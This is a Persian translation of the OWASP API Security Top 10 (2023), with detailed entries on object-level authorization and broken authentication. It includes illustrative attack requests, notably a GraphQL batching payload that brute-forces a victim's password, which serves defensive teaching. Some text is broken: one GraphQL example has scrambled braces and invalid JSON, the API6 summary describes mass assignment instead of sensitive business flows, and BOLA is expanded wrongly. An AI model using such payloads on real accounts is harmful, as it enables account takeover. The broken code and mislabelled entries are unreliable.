OWASP®

OWASP API Security Top Ten - 2023

10 ریسک بحرانی امنیت API از منظر OWASP - ۲۰۲۳

فهرست مطالب TOC

درباره OWASP

پروژه متن‌باز امنیت وب اپلیکیشن‌ها (OWASP) جامعه ای باز و آزاد است که اختصاصا در حوزه توانمندسازی سازمان‌ها در حوزه توسعه، تهیه و ایجاد اپلیکیشن‌ها و APIهای قابل اعتماد فعالیت دارد. در OWASP، موارد زیر را بصورت رایگان و آزاد خواهید یافت:

- استانداردها و ابزارهای امنیت اپلیکیشن.
- کتاب‌هایی درباره تست امنیت اپلیکیشن‌ها، توسعه ایمن کد و بازبینی امنیت کد.
- ارائه‌ها و ویدئوها.
- راهنما و برگه تقلب برای بسیاری از موضوعات رایج.
- کنترل‌ها و کتابخانه‌های استاندارد در حوزه امنیت.
- شعب محلی در سرتاسر جهان.
- تحقیقات به روز و پیشرو در حوزه امنیت.
- کنفرانس‌های تخصصی در سرتاسر جهان.
- لیست‌های پست الکترونیک برای ارسال اخبار.

اطلاعات بیشتر در: https://owasp.org

تمامی ابزارها، مستندات، ویدئوها، ارائه‌ها و سرفصل‌هایOWASP رایگان بوده و استفاده از یا مشارکت در آنها برای کلیه افرادی که تمایل به بهبود امنیت اپلیکیشن‌ها دارند، آزاد است.

در OWASP امنیت اپلیکیشن بعنوان مساله‌ای مهم از منظر افراد، فرایندها و فناوری‌ها در نظر گرفته می‌شود چرا که موثرترین رویکردها در امنیت اطلاعات نیز به بهبود در این حوزه‌ها نیاز دارند.

OWASP تعریف جدیدی از سازمان ارائه می‌دهد. رهایی از بند فشار مسائل مالی امکان فراهم آوردن اطلاعات بیطرفانه، عملی و مقرون به صرفه در حوزه امنیت اپلیکیشن‌ها را به ما داده است.

OWASP به هیچ شرکتی در حوزه فناوری وابستگی ندارد اگرچه استفاده آگاهانه از فناوری‌های تجاری در حوزه امنیت را نیز حمایت می‌کنیم.

OWASP انواع مختلفی از اطلاعات را به گونه‌ای همکارانه، شفاف و باز ارائه می‌دهد. بنیاد OWASP موجودیتی غیرانتفاعی و عام المنفعه است که توفیق بلند مدت پروژه OWASP را تضمین می‌نماید. تقریبا تمامی کسانی که با OWASP پیوند دارند، از قبیل اعضای هیئت مدیره، روسای شعبه‌ها، راهبران پروژه‌ها و اعضای پروژه‌ها داوطلبانه این همکاری را انجام می‌دهند.

همچنین ما با ارائه کمک‌های مالی و زیرساختی از تحقیقات نوآورانه در حوزه امنیت حمایت می‌کنیم.

به ما بپیوندید!

FW پیشگفتار

در دنیای مبتنی بر App امروز، یکی از ابعاد بنیادین نوآوری واسط برنامه نویسی اپلیکیشن[1] یا همان APIها هستند. از بانک‌ها گرفته تا خرده فروشی‌ها، حوزه حمل نقل، اینترنت اشیا، وسائل نقلیه خودران و شهرهای هوشمند، APIها بخشی حیاتی از اپلیکیشن‌های موبایل، وب و SaaS به شمار می‌آیند.

[1] Application Programming Interface

APIها ذاتا منطق اپلیکیشن و داده‌های حساسی از قبیل PII[2] (داده‌هایی که به تنهایی و بدون نیاز به داده اضافی دیگر، هویت یک کاربر را عیان می کنند نظیر شماره ملی) را در معرض دید قرارداده و در نتیجه، به طور روزافزون توجه بخش بیشتری از مهاجمین را به خود جلب می‌نمایند. بدون داشتن APIهایی ایمن، توسعه سریع نوآوری‌های فناورانه، امکان پذیر نخواهد بود.

اگر چه کماکان می‌توان از لیست ده آسیب‌پذیری امنیتی بحرانی وب اپلیکیشن‌ها نیز برای امنیت APIها بهره برد، اما با توجه به ماهیت خاص APIها نیاز به لیستی از تهدیدات امنیتی مختص آنها احساس می‌شود. مقوله امنیت API بر راهکارها و استراتژی‌های لازم برای فهم و رفع آسیب‌پذیری‌ها و تهدیدات امنیتی خاص و منحصر به APIها تمرکز دارد.

اگر با پروژه OWASP Top 10 آشنایی داشته باشید، شباهت‌هایی بین آن و مستند پیش رو خواهید یافت: هر دو با نیت فهم آسان توسط مخاطب و قابلیت بکارگیری و انطباق در سازمان تهیه شده‌اند. در صورتی که با مجموعه‌های OWASP Top 10 آشنایی ندارید، بهتر است پیش از رفتن به سراغ لیست اصلی، بخش‌های ریسک‌های امنیتی API و متدلوژی و داده از همین مستند را مطالعه نمایید.

با پرسش‌ها، نظرات و ایده‌های خود در GitHub پروژه می توانید در توسعه OWASP API Security Top 10 مشارکت کنید:

- https://github.com/OWASP/API-Security/issues
- https://github.com/OWASP/API-Security/blob/master/CONTRIBUTING.md

در اینجا می توانید OWASP API Security Top 10 را بیابید:

- https://www.owasp.org/index.php/OWASP_API_Security_Project
- https://github.com/OWASP/API-Security

بدین وسیله از تمامی مشارکت کنندگان در این پروژه که با تلاش‌های خود در بوجود آمدن آن نقش داشته اند سپاسگزاریم. لیست تمامی آنها در قسمت سپاسگزاری‌ها قابل مشاهده است. متشکریم!

[2] Personally Identifiable Information

مقدمه

به OWASP API Security Top 10 – 2023 خوش آمدید!

به دومین ویراست ده آسیب‌پذیری برتر امنیت API خوش آمدید. از زمان انتشار نسخه قبلی این سند در سال ۲۰۱۹، صنعت امنیت API به شدت رشد و تکامل یافته و اکنون می‌توان گفت که به بلوغ رسیده است. ما بر این باور هستیم که این مستند به عنوان مرجعی معتبر در صنعت امنیت به سرعت پذیرفته شده و به توسعه و پیشرفت آن کمک شایانی کرده است.

API نقش مهمی در معماری اپلیکیشن‌های مدرن امروزی دارد. از آنجا که آگاهی بخشی امنیتی و نوآوری در این حوزه گام‌های مختلفی دارد، تمرکز بر نقاط ضعف رایج APIها اهمیت زیادی خواهد داشت.

هدف اصلی مستند و پروژه ده آسیب‌پذیری بحرانی امنیت API آموزش افراد دخیل در توسعه و نگهداری APIها از قبیل توسعه دهندگان، طراحان، معماران، مدیران و سازمان‌ها است. برای کسب اطلاعات بیشتر در مورد پروژه امنیت API، می‌توانید به صفحه پروژه مراجعه کنید.

اگر با مجموعه OWASP Top 10 آشنا نیستید، پیشنهاد می‌کنیم به پروژه‌های زیر از این مجموعه را مطالعه کنید:

- OWASP Cloud-Native Application Security Top 10
- OWASP Desktop App Security Top 10
- OWASP Docker Top 10
- OWASP Low-Code/No-Code Top 10
- OWASP Machine Learning Security Top Ten
- OWASP Mobile Top 10
- OWASP TOP 10
- OWASP Top 10 CI/CD Security Risks
- OWASP Top 10 Client-Side Security Risks
- OWASP Top 10 Privacy Risks

- OWASP Serverless Top 10

در بخش متدلوژی و داده، اطلاعات بیشتری درباره نحوه ایجاد اولین نسخه از مستند حاضر خواهید یافت. در نسخه‌های آتی، جامعه امنیت را نیز دخیل نموده و به منظور دریافت داده‌های مرتبط، فراخوان عمومی خواهیم داد. در حال حاضر همگان را به مشارکت در انباره داده Github یا لیست پست الکترونیک ما از طریق ارسال سوال، نظر و پیشنهاد تشویق می‌کنیم.

RN یادداشت

مستند پیش رو دومین ویراست ده آسیب‌پذیری بحرانی امنیت API می‌باشد که دقیقاً چهار سال پس از نسخه اول آن منتشر شده است. در طول این چهار سال، تغییرات زیادی در زمینه امنیت API رخ داده است. از جمله این تغییرات می‌توان به موارد زیر اشاره کرد: افزایش چشمگیر تعداد تراکنش‌ها و ارتباطات صورت گرفته از طریق APIها، رشد بیشتر پروتکل‌های API، شرکت‌ها و راه‌حل‌های جدید در حوزه API و توسعه مهارت‌ها و تکنیک‌های جدید توسط مهاجمان برای نفوذ به APIها. با توجه به این موارد، وقت آن رسیده بود که لیست ده آسیب‌پذیری برتر امنیتی به‌روز شود.

با رشد و بهبود در صنعت امنیت API، برای نخستین بار، درخواستی عمومی برای جمع‌آوری داده در این زمینه صورت گرفت. متأسفانه هیچ داده‌ای توسط افراد ارائه نشده، اما بر اساس تجربیات تیم پروژه، بازبینی دقیق از سوی متخصصان امنیت API و دریافت بازخورد از جامعه تخصصی در مورد نسخه آزمایشی، لیست جدیدی ایجاد شده است. برای آشنایی بیشتر با نحوه آماده سازی این مستند می‌توانید به بخش متدولوژی و داده مراجعه نمایید. همچنین جزئیات ریسک‌های امنیتی مرتبط در بخش ریسک‌های امنیتی API قابل مطالعه هستند.

OWASP API Security Top 10 2023 مستندی آگاهی‌بخش است که آینده صنعت امنیت API را مورد توجه قرار می‌دهد. این مستند به دلیل تغییرات و تحولات سریع در امنیت منتشر شده و هدف آن ارتقاء آگاهی از ریسک‌های امنیتی مرتبط با API است. مستند حاضر، جایگزینی برای دیگر لیست‌های TOP 10 OWASP محسوب نمی‌شود. در این ویرایش به تعدادی از ریسک‌های مهم امنیتی مرتبط با API پرداخته شده که عبارتند از:

- دو مورد "افشای مفرط داده[۳]" و "تخصیص جمعی[۴]" با یکدیگر تلفیق شده‌اند و تمرکز بیشتری بر روی عامل مشترک آن‌ها، یعنی نقض اعتبارسنجی مجوز در سطح ویژگی‌های شیء[۵] گذاشته‌ایم.
- در برخی موارد به جای اهمیت دادن به مدیریت موثر منابع و کنترل آنها تا زمان اتمام، فقط به مصرف فعلی منابع توجه می‌کنیم.
- با ایجاد دسته‌بندی جدیدی به نام "دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار"، بر دسته جدیدی از تهدیدات تمرکز کردیم. این تهدیدات معمولاً با استفاده از محدود کردن نرخ دسترسی به جریان‌های حساس مرتبط، کاهش پیدا می‌کنند. این اقدام به ارتقاء امنیت در مقابل این تهدیدات کمک خواهد کرد.
- عنصر "استفاده ناایمن از APIها" را به لیست اضافه کرده‌ایم تا به رفتار جدیدی که اخیراً مشاهده شده، توجه داشته باشیم. موضوع نام برده شده، به این اشاره دارد که مهاجمان به جای حمله مستقیم به API های هدف، به دنبال نقاط ضعف در خدمات متکامل هدف می‌گردند تا از طریق آن‌ها به هدف خود نفوذ کنند. این مسئله به مرور زمان افزایش یافته و اکنون زمان مناسبی است تا به جامعه درباره این خطر در حال افزایش، اطلاع‌رسانی شود.

فهم تغییرات اساسی در معماری اپلیکیشن‌ها در سالیان گذشته از اهمیت زیادی برخوردار است. امروه APIها نقشی کلیدی در معماری ریزسرویس‌ها[۶]، اپلیکیشن‌های تک صفحه ای (SPA[7])، اپلیکیشن‌های موبایل، اینترنت اشیاء و ... دارند.

پروژه حاضر، حاصل تلاش فوق‌العاده داوطلبانه افراد متعددی بوده که بدون آن‌ها، به سرانجام رساندن آن امکان‌پذیر نبود که در بخش تقدیر و تشکر، از آن‌ها نام برده شده است. متشکریم!

---

[3] Excessive Data Exposure
[4] Mass Assignment
[5] object property level authorization validation failures
[6] Microservices
[7] Single Page Application

RISK ریسک های امنیتی API

به منظور تحلیل ریسک، از متدولوژی رتبه بندی ریسک OWASP استفاده شده است.

جدول زیر، واژگان مرتبط با رتبه ریسک را مختصرا نشان می‌دهد.

عوامل تهدید	قابلیت بهره برداری	میزان شیوع آسیب‌پذیری	قابلیت شناسایی آسیب‌پذیری	پیامد فنی	تاثیر بر کسب و کار
خاص API	آسان: ۳	گسترده: ۳	آسان: ۳	شدید: ۳	خاص کسب و کار
	متوسط: ۲	متداول: ۲	متوسط: ۲	متوسط: ۲	
	سخت: ۱	سخت: ۱	سخت: ۱	جزئی: ۱	

در این رویکرد، نوع فناوری مورد استفاده و احتمال وقوع آسیب‌پذیری در رتبه ریسک تاثیر ندارند؛ بعبارت دیگر در این روش رتبه بندی ریسک، راهکار مورد استفاده برای پیاده‌سازی API، با رویکردی مستقل از جزئیات فناوری به ارزیابی ریسک می‌پردازد. هرکدام از عوامل یاد شده می‌تواند در پیداکردن و سواستفاده از یک آسیب‌پذیری به مهاجم کمک بسزایی کند. این رتبه بندی تاثیر واقعی بر کسب و کارها را نشان نداده و این سازمان‌ها هستند که با توجه به نوع کسب و کار و فرهنگ سازمانی خود، در میزان پذیرش خطر امنیتی استفاده از اپلیکیشن‌ها و APIها تصمیم گیرنده هستند. هدف از مستند ده آسیب‌پذیری بحرانی امنیت API، تحلیل ریسک نیست.

مراجع

OWASP

- OWASP Risk Rating Methodology
- Article on Threat/Risk Modeling

خارجی

- ISO 31000: Risk Management Std
- ISO 27001: ISMS
- NIST Cyber Framework (US)
- ASD Strategic Mitigations (AU)
- NIST CVSS 3.0
- Microsoft Threat Modeling Tool

OWASP – 2023 از منظر API ده آسیب‌پذیری بحرانی امنیت T10

API1: نقض مجوزدهی در سطح اشیا	APIها معمولا توابع مدیریت کننده شناسه‌های اشیا را در معرض دید قرار داده و سطح حمله[8] گسترده‌ای را برای نقض کنترل دسترسی ایجاد می‌نمایند. کنترل‌های مجوزدهی در سطح اشیا بایستی در کلیه توابعی که با گرفتن ورودی از کاربر به منابع داده دسترسی دارند پیاده‌سازی شود.
API2: احرازهویت نادرست کاربر	مکانیزم‌های احرازهویت گاها به درستی پیاده‌سازی نشده و سبب دسترسی مهاجمین به توکن‌های احرازهویت و ربایش موقت یا دائمی هویت سایر کاربران با استفاده از نقایص این مکانیزم‌ها می شوند. در صورت عدم توانایی سیستم در شناخت کلاینت یا کاربر، امنیت API نیز نقض خواهد شد.
API3: نقض مجوزدهی در سطح ویژگی‌های شیء	این دسته، ترکیبی از API3: افشای مفرط داده و API6: تخصیص جمعی در نسخه ۲۰۱۹ می‌باشد که بر روی علت اصلی این مشکل تمرکز دارد: عدم وجود یا صحیح بودن اعتبارسنجی مجوزهای دسترسی در سطح ویژگی‌های شیء موجب افشای اطلاعات به نحو نادرست یا تغییر و دستکاری اطلاعات توسط افراد غیرمجاز می‌شود.
API4: مصرف بدون محدودیت منابع	برای انجام درخواست‌های API، منابعی مانند پهنای باند شبکه، واحد پردازش مرکزی (CPU)، حافظه و ذخیره‌سازی لازم است. منابع دیگری مانند ایمیل‌ها، پیام های کوتاه (SMS)، تماس‌های تلفنی، یا اعتبارسنجی بایومتریک توسط ارائه‌دهندگان خدمات از طریق ادغام API نیز در دسترس قرار گرفته و بر اساس هر درخواست بکار گرفته می‌شوند. حملات موفق می‌توانند منجر به رد سرویس‌دهی (Denial of Service) یا افزایش هزینه‌های عملیاتی شوند.
API5: نقض مجوزدهی در سطح توابع	مکانیزم‌های پیچیده کنترل دسترسی با سلسله مراتب، گروه‌ها و نقش‌های متفاوت و مرز نامشخص بین توابع عادی و مدیریتی سبب بروز نقایص مجوزدهی می‌شوند. با بهره برداری از این آسیب‌پذیری‌ها مهاجمین به منابع سایر کاربران و یا توابع مدیریتی دست خواهند یافت.
API6: دسترسی بدون محدودیت به جریان‌های حساس کسب‌وکار	پیوند دادن داده ارائه شده توسط کلاینت (نظیر اشیا JSON) با مدل‌های داده بدون فیلترکردن مناسب آنها بر مبنای یک لیست سفید می‌تواند منجر به تخصیص جمعی شود. با تشخیص ویژگی‌های اشیا، کاوش سایر توابع، خواندن مستندات یا ارائه ویژگی‌های اضافی برای اشیا در بدنه درخواست‌ها، مهاجم می‌تواند ویژگی‌هایی از اشیا که برای وی مجاز نیست را دستکاری نماید.
API7: جعل درخواست در سمت سرور	درخواست‌هایی که از سمت سرور به وسیله یک برنامه یا سرویس وب به منبع دیگری در اینترنت ارسال می‌شوند، ممکن است به اشتباه یا بدون اعتبارسنجی صحیح آدرس (URI) توسط کاربر ارسال شوند. این مشکل می‌تواند به مهاجم این امکان را بدهد که برنامه را مجبور به ارسال درخواست‌های ساختگی به مقصدی که برنامه اصلاً منتظر نبوده، بکند. حتی اگر برنامه تحت حفاظت دیوار آتش یا شبکه خصوصی مجازی باشد. این نوع حمله امنیتی SSRF نام دارد و می‌تواند به دسترسی غیرمجاز به منابع دیگر یا سیستم‌های داخلی شبکه منجر شود. در نتیجه، اعتبارسنجی و کنترل دقیق بر روی URIهای ارسالی به سمت سرور بسیار مهم است تا از وقوع چنین حملاتی جلوگیری شود.
API8: پیکربندی امنیتی نادرست	وقتی پیکربندی‌ها به درستی مدیریت نشده و اصول امنیتی را رعایت نکنند، احتمال وقوع حملات امنیتی به سیستم‌ها و APIها افزایش می‌یابد. این نقاط ضعف در پیکربندی می‌توانند به حملاتی مانند حملات به امنیت

[8] Attack Surface

	شبکه (Network Security Attacks)، حملات نفوذ به سیستم (System Intrusion)، حملات SSRF که در قسمت قبل بحث شد، یا حملات دیگر امنیتی منجر شوند. به همین دلیل اهمیت حفاظت از پیکربندی‌های مرتبط با APIها و سیستم‌های مرتبط با آنها از نظر امنیتی بسیار بالاست و مهم است که توسعه‌دهندگان و مهندسان DevOps به این جنبه‌ها توجه ویژه‌ای داشته باشند.
API9: مدیریت نادرست دارایی‌ها	APIها معمولا توابع بیشتری را نسبت به وب اپلیکیشن‌های سنتی در معرض دید قرار می‌دهند که این موضوع اهمیت مستندسازی مناسب و بروز را دوچندان می‌نماید. داشتن فهرستی از میزبان‌ها و نسخه‌های بکارگرفته شده API نقش مهمی در رفع آسیب‌پذیری‌های مرتبط با نسخ قدیمی API و توابع مرتبط با debugging ایفا می‌کند.
API10: استفاده ناایمن از APIها	توسعه‌دهندگان به دلیل اعتماد بیشتر به داده‌هایی که از APIهای طرف ثالث دریافت می‌کنند، به استانداردهای امنیتی کمتری پایبند هستند. مهاجمان هم به جای حمله مستقیم به API اصلی، به سرویس‌های طرف ثالث حمله می‌کنند. این مسئله ممکن است منجر به ایجاد شکاف‌ها و آسیب‌پذیری‌های امنیتی در نرم‌افزارها شود.

API1:2023 نقض مجوزدهی در سطح اشیاء

خاص API	قابلیت بهره‌برداری: آسان	میزان شیوع: گسترده	قابلیت تشخیص: متوسط	پیامد فنی: شدید	خاص کسب‌وکار
	مهاجمین می‌توانند از نقاط و توابع آسیب‌پذیر (از منظر مجوزدهی نادرست در سطح اشیا) با دستکاری شناسه شیء[9] ارسالی درون درخواست سوءاستفاده و بهره برداری نمایند. این امر می‌تواند منجر به دسترسی غیرمجاز به داده حساس شود. دسترسی غیرمجاز به داده حساس، مساله‌ای رایج در اپلیکیشن‌های مبتنی بر API است چرا که مولفه سرور غالبا به طور کامل وضعیت کلاینت را رهگیری نمی‌کند و در عوض برای تصمیم گیری درباره دسترسی کلاینت به اشیاء از پارامترهایی نظیر شناسه شی که از سوی خود کلاینت ارسال می‌شوند، تکیه دارند.	این حمله رایج ترین آسیب‌پذیری APIها بوده و بیشترین پیامدها را نیز در پی دارد. مکانیزم‌های مجوزدهی و کنترل دسترسی در اپلیکیشن‌های مدرن، پیچیده و گسترده هستند. حتی اگر اپلیکیشن زیرساخت مناسب را برای کنترل‌های مجوزدهی پیاده‌سازی نماید، ممکن است توسعه دهندگان پیش از دسترسی به اشیا حساس، استفاده از این کنترل‌ها را فراموش نمایند. تشخیص نقایص مربوط به کنترل دسترسی از طریق تست‌های ایستا یا پویا به صورت خودکار غالبا امکان پذیر نیست.	دسترسی غیرمجاز می‌تواند منجر به افشای اطلاعات به طرف‌های غیرمجاز، از دست رفتن داده یا دستکاری آن شود. همچنین دسترسی غیرمجاز به اشیا می‌تواند سبب تحت کنترل گرفتن کامل حساب کاربری توسط مهاجم گردد.

آیا API از نظر نقض مجوزدهی در سطح اشیاء[10] آسیب‌پذیر است؟

مجوزدهی در سطح اشیا مکانیزمی برای کنترل دسترسی است که غالبا در سطح کد پیاده‌سازی شده و دسترسی کاربر به اشیایی که بایستی به آنها دسترسی داشته باشد را تضمین می‌نماید.

هر تابعی در API که یک شناسه شی دریافت نموده و نوعی عملیات بر روی آن شی انجام می‌دهد، بایستی کنترل‌های مجوزدهی در سطح اشیا را بکار گیرد. این کنترل‌ها باید دسترسی کاربرِ واردشده[11] به انجام عمل درخواستی بر روی شی درخواستی را اعتبارسنجی نمایند.

---

[9] Object ID
[10] Broken Object Level Authorization
[11] Logged-in User

وجود ایراد و نقصان در این مکانیزم منجر به افشای اطلاعات غیرمجاز، تغییر یا از بین رفتن تمامی داده خواهد شد. در مسئله‌ی Broken Object Level Authorization (BOLA)، امنیت کاربران در دسترسی به اطلاعات و منابع در سیستم به خطر می‌افتد. این مشکل زمانی رخ می‌دهد که سیستم یک درخواست API حاوی یک شناسه (مثلاً شناسه یک مورد یا اشیاء خاص) را دریافت می‌کند و بدون بررسی دقیق این شناسه و اعتبارسنجی آن، به منابع مرتبط با آن شناسه دسترسی می‌دهد. مهاجمان با تغییر شناسه در درخواست‌های خود می‌توانند به اطلاعاتی دسترسی پیدا کنند که به طور عادی نباید به آن‌ها دسترسی داشته باشند.

در مورد Broken Function Level Authorization (BFLA)، مشکل بیشتر در اجازه دسترسی به عملکردها یا نقطه آسیب‌پذیر API وابسته به توابع است. به عبارت دیگر، مهاجمان در اینجا به دسترسی به توابع سیستم یا نقطه‌های آسیب‌پذیر API که اصولاً نباید به آنها دسترسی داشته باشند، دست پیدا می‌کنند. این مشکل معمولاً بدون در نظر گرفتن شیء‌های خاص و فقط با تغییر درخواست‌ها برای توابع خاص رخ می‌دهد و منجر به اعتبارسنجی نادرست انجام می‌شود.

مثال‌هایی از سناریوهای حمله

سناریو #۱

یک پلتفرم تجارت الکترونیک، برای فروشگاه‌های آنلاین نمودارهای سود فروشگاه‌های میزبانی شده را در قالب یک لیست چندصفحه‌ای ارائه می‌دهد. مهاجم با بررسی درخواست‌های مرورگر، توابعی از API که نقش منبع داده برای نمودارهای مذبور را دارند و الگوی آنها به صورت `/shops/{shopName}/revenue_data.json` می‌باشد را شناسایی می‌کند. با استفاده از یک تابع دیگر API، مهاجم می‌تواند لیست نام کلیه فروشگاه‌های میزبانی شده را استخراج نماید. همچنین مهاجم با استفاده از یک اسکریپت ساده و جایگزین کردن `{shopName}` در URL خواهد توانست به داده‌ی فروش هزاران فروشگاه دسترسی یابد.

سناریو #۲

یک تولیدکننده خودرو از طریق یک واسط برنامه‌نویسی (API) امکان کنترل از راه دور خودروها را برای ارتباط با تلفن همراه راننده فراهم کرده است. این API به راننده این امکان را می‌دهد که موتور خودرو را از راه دور روشن و خاموش کند و درب‌ها را قفل و باز کند. در این فرآیند، کاربر شماره شناسایی خودرو (VIN) را به API ارسال می‌کند. متأسفانه، API قادر به اعتبارسنجی نمی‌باشد که آیا VIN به ماشینی کاربر وارد شده اختصاص دارد یا

نه. این مشکل منجر به وقوع یک آسیب‌پذیری به نام BOLA (Bypass of Logical Access) می‌شود. به این ترتیب، مهاجم می‌تواند به خودروهایی دسترسی پیدا کند که به او تعلق ندارند و به آن‌ها دسترسی پیدا کند.

سناریو #۳

یک سرویس ذخیره‌سازی اسناد آنلاین به کاربران این امکان را می‌دهد که اسناد خود را مشاهده، ویرایش، ذخیره و حذف کنند. هنگامی که کاربری یکی از اسناد خود را حذف می‌کند، یک عملیات درخواستی به نام GraphQL Mutation با استفاده از شناسه (ID) مربوط به سند حذف‌شده به API ارسال می‌شود. این درخواست GraphQL به API اطلاع می‌دهد که یک سند باید حذف شود و API مسئول انجام این عملیات حذف است.

```
POST /graphql
}
,"operationName":"deleteReports"
}:"variables"
reportKeys":["<DOCUMENT_ID>"]"
,{
} query":"mutation deleteReports($siteId: ID!, $reportKeys: [String]!)"
}
deleteReports(reportKeys: $reportKeys)
{
"{
}
```

چگونه از آسیب‌پذیری مجوزدهی نادرست در سطح اشیاء پیشگیری کنیم؟

- بکارگیری یک مکانیزم مجوزدهی که بر خط مشی و سلسله مراتب کاربری تمرکز دارد.
- استفاده از یک مکانیزم مجوزدهی برای بررسی اینکه آیا کاربر واردشده مجوز لازم برای انجام عملیات درخواستی بر روی رکورد در تمامی توابعی که از کلاینت، ورودی می‌گیرند تا به رکورد مذبور در پایگاه داده دسترسی داشته باشند را دارا است یا خیر؟
- ارجحیت استفاده از مقادیر تصادفی و غیرقابل پیش بینی بعنوان GUID[12] برای شناسه رکوردها.
- طراحی آزمونهایی برای ارزیابی صحت عملکرد مکانیزم‌های مجوزدهی.

مراجع

[12] Globally Unique Identifier

- Authorization Cheat Sheet
- Authorization Testing Automation Cheat Sheet

خارجی

- CWE-285: Improper Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key

API2:2023 احرازهویت نادرست کاربر

عوامل تهدید	مسیر حمله	ضعف امنیتی		پیامد
خاص API	**قابلیت بهره‌برداری: آسان**	**میزان شیوع: متداول**	**قابلیت تشخیص: متوسط**	**پیامد فنی: شدید**	**خاص کسب‌وکار**
دسترسی همه به سیستم احراز هویت موجب می‌شود تا این مکانیزم هدفی آسان و در دسترس برای مهاجمین باشد. با اینکه برای بهره‌برداری از برخی از مشکلات احراز هویت ممکن است مهارت‌های فنی پیشرفته‌تری لازم باشد، ابزارهای بهره‌برداری مرتبط در دسترس هستند.		درک نادرست توسعه‌دهندگان نرم‌افزار و مهندسان امنیتی از مفاهیم مرتبط با احراز هویت و پیچیدگی پیاده‌سازی داخلی، منجر به اشتباهاتی در فهم چگونگی کارکرد و اهمیت مسائل احراز هویت می‌شود. این اشتباهات باعث می‌شود که مشکلات مرتبط با احراز هویت به طور گسترده‌تر و رایج‌تری در نرم‌افزارها و سیستم‌های مختلف پدیدار شود. روش‌ها و رویکردهایی برای شناسایی و تشخیص این نوع اشکالات در احراز هویت وجود دارد و تولید آنها نیز به طور کلی آسان است. به عبارت دیگر، می‌توان به راحتی ابزارها و روش‌هایی برای کشف و پیگیری مشکلات احراز هویت در نرم‌افزارها ایجاد کرد.		مهاجمین می‌توانند به حساب‌های کاربری سایر کاربران دسترسی یافته، اطلاعات شخصی آنها را خوانده و عملیات حساس (نظیر نقل و انتقالات مالی و ارسال پیام‌های شخصی) را از طرف آنها انجام دهد.

آیا API از نظر احرازهویت نادرست کاربر[13] آسیب‌پذیر است؟

نقاط، توابع و جریان‌های احرازهویت API دارایی‌هایی هستند که بایستی محافظت شوند. همچنین توابع «فراموشی گذرواژه یا بازیابی گذرواژه» نیز بایستی در زمره مکانیزم‌های احرازهویت در نظر گرفته شوند.

یک API از منظر احرازهویت نادرست کاربر، آسیب‌پذیر است اگر:

- اجازه حمله درج هویت[14] را بدهد که در آن مهاجم از لیستی از نام‌های کاربری و گذرواژه‌های معتبر استفاده می‌نماید.
- بدون استفاده از مکانیزم‌های CAPTCHA یا قفل کردن حساب کاربری[15] اجازه حمله Brute Force روی یک حساب کاربری را بدهد.
- اجازه استفاده از گذرواژه‌های ضعیف را بدهد.

---

[13] Broken User Authentication
[14] Credential Stuffing
[15] Account Lockout

- جزئیات و داده‌های حساس مرتبط با احرازهویت از قبیل توکن‌های اصالت سنجی و گذرواژه‌ها را از طریق URL ارسال نماید.
- اصالت توکن‌ها را به بوته آزمون نگذارد.
- توکن JWT ضعیف یا بدون امضا (“alg”:”none”) را بپذیرد یا تاریخ انقضای آنها را اعتبارسنجی ننماید.
- از گذرواژه‌های آشکار[۱۶]، رمزگذاری نشده یا درهم سازی شده بصورت ضعیف[۱۷] استفاده نماید.
- از کلیدهای رمزگذاری ضعیف بهره ببرد.

علاوه بر این، یک میکروسرویس آسیب‌پذیر است اگر:

- میکروسرویس‌های دیگر بدون احراز هویت به آن دسترسی پیدا کنند.
- از توکن‌های ضعیف یا قابل پیش‌بینی برای اعمال احراز هویت استفاده کند.

مثال‌هایی از سناریوهای حمله

سناریو #۱

درج هویت (استفاده از لیستی از نام‌های کاربری یا گذرواژه‌های شناخته شده) حمله‌ای رایج است. اگر اپلیکیشن از مکانیزم‌های حفاظتی خودکار در مقابل تهدیداتی نظیر درج هویت بهره نبرده باشد، آنگاه اپلیکیشن می‌تواند بعنوان یک پیشگوی گذرواژه[۱۸] یا آزمونگر جهت بررسی صحت اطلاعات هویتی جهت عبور از مکانیزم احرازهویت بکار رود.

برای انجام احراز هویت کاربر، مشتری باید یک درخواست API مشابه مورد زیر را با اطلاعات ورود کاربر، صادر کند:

```
POST /graphql
{
  "query":"mutation {
    login (username:\"<username>\",password:\"<password>\") {
      token
    }
   }"
}
```

[16] Plaintext
[17] Weakly Hashed
[18] Password Oracle

اگر اطلاعات ورود کاربر معتبر باشند، توکن احراز هویت برگشت داده می‌شود که باید در درخواست‌های بعدی هم برای شناسایی کاربر ارائه شود. توجه داشته باشید که فقط ارسال سه درخواست در هر دقیقه مجاز است.

برای اجرای حمله Brute Force به حساب یک قربانی، به شکل زیر از GraphQL query batching استفاده می‌شود تا بتوان تعداد درخواست‌های ورود بیشتری را به سیستم ارسال نمود:

```
POST /graphql
[
  {"query":"mutation{login(username:\"victim\",password:\"password\"){to-
ken}}"},
  {"query":"mutation{login(username:\"victim\",password:\"123456\"){to-
ken}}"},
  {"query":"mutation{login(username:\"victim\",password:\"qwerty\"){to-
ken}}"},
  ...
  {"query":"mutation{login(username:\"victim\",password:\"123\"){token}}"},
]
```

سناریو #۲

برای به‌روزرسانی آدرس ایمیل مرتبط با حساب کاربران، مشتریان باید یک درخواست API مانند درخواست زیر را ارسال کنند:

```
PUT /account
Authorization: Bearer <token>

{ "email": "<new_email_address>" }
```

از آن‌جایی که این API نیاز به تأیید هویت کاربران از طریق ارائه رمز عبور فعلی آنها ندارد، مهاجم می‌تواند با دریافت توکن احراز هویت، پس از به‌روزرسانی آدرس ایمیل حساب کاربری قربانی، رمز عبور وی را تغییر داده و کنترل حساب کاربری قربانی را به دست بگیرد.

چگونه از آسیب‌پذیری احرازهویت نادرست کاربر پیشگیری کنیم؟

- حصول اطمینان از آنکه تمامی جریان‌های ممکن برای احراز هویت API (موبایل یا وب، سایر لینک‌هایی که از مکانیزم احرازهویت با یک کلیک و غیره) شناسایی شده است. در این زمینه می‌توانید با توسعه دهندگان و مهندسین مشورت کنید.

- مطالعه و فهم کامل مکانیزم‌های احرازهویت استفاده شده در اپلیکیشن؛ بایستی درنظر داشت که OAuth و کلیدهای API نمی‌توانند بعنوان مکانیزمی برای احرازهویت به شمار آیند.
- در مساله احرازهویت، تولید توکن و ذخیره‌سازی گذرواژه، نباید چرخ را از ابتدا اختراع کرد بلکه بایستی از استانداردها استفاده نمود.
- توابع بازیابی یا فراموشی گذرواژه بایستی از منظر محافظت در مقابل Brute Force، محدودسازی نرخ و قفل شدن حساب کاربری هم ارز با توابع و نقاط ورود[19] در نظر گرفته شود.
